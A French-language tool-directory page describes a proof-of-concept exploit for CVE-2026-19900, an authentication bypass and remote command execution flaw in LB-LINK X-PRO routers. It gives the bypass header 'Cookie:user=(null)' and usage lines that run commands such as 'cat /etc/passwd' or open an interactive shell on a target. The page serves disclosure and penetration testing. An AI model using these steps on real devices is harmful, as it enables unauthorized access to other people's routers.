Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-19900-PoC — Preuve de concept d'exploitation pour CVE-2026-19900, une vulnérabilité de contournement d'authentification et d'exécution de code à distance dans les routeurs LB-LINK X-PRO, permettant l'exécution de commandes via un cookie utilisateur nul spécialement conçu. | Kitploit
Outils/GitHubGitHub/on3sk-0x1/cve-2026-19900-poc
Sécurité IoTAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentification
GitHubon3sk-0x1/cve-2026-19900-poc

cve-2026-19900-PoC

Preuve de concept d'exploitation pour CVE-2026-19900, une vulnérabilité de contournement d'authentification et d'exécution de code à distance dans les routeurs LB-LINK X-PRO, permettant l'exécution de commandes via un cookie utilisateur nul spécialement conçu.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 5h 11mPas encore vérifié

CVE-2026-19900 LB-LINK X-PRO Contournement d'authentification et RCE via utilisateur nul

CVE-2026-19900 Contournement d'authentification et RCE via identifiants codés en dur et utilisateur nul.

Contournement via en-tête : Cookie:user=(null)

Utilisation

Compiler et exécuter le script avec un hôte cible :

root@kitploit:~
go build cve-2026-19900-PoC.go
./cve-2026-19900-PoC -t http://target:8080/ -c "id"

Sans compilation

root@kitploit:~
go run cve-2026-19900-PoC.go -t http://target:8080/ -c "cat /etc/passwd"

Mode interactif

root@kitploit:~
./cve-2026-19900-PoC -t http://target:8080/ -i

Arguments

  • -t : Adresse IP ou nom d'hôte cible (obligatoire)
  • -c : Envoyer une charge utile de commande
  • -i : Mode interactif (pas besoin de -c <cmd>)

Modèle Nuclei : (Modèle par 0x_Akoko)

https://cloud.projectdiscovery.io/library/CVE-2026-19900

Référence

https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md https://nvd.nist.gov/vuln/detail/CVE-2026-19900 https://github.com/DavCloudz/cve/blob/main/B-Link/B-Link%20AC1200%20X-PRO(AC6)%20Hardcoded%20Credentials%20Vulnerability.md https://vuldb.com/cve/CVE-2026-19900 https://vuldb.com/submit/870712

Télécharger l’outil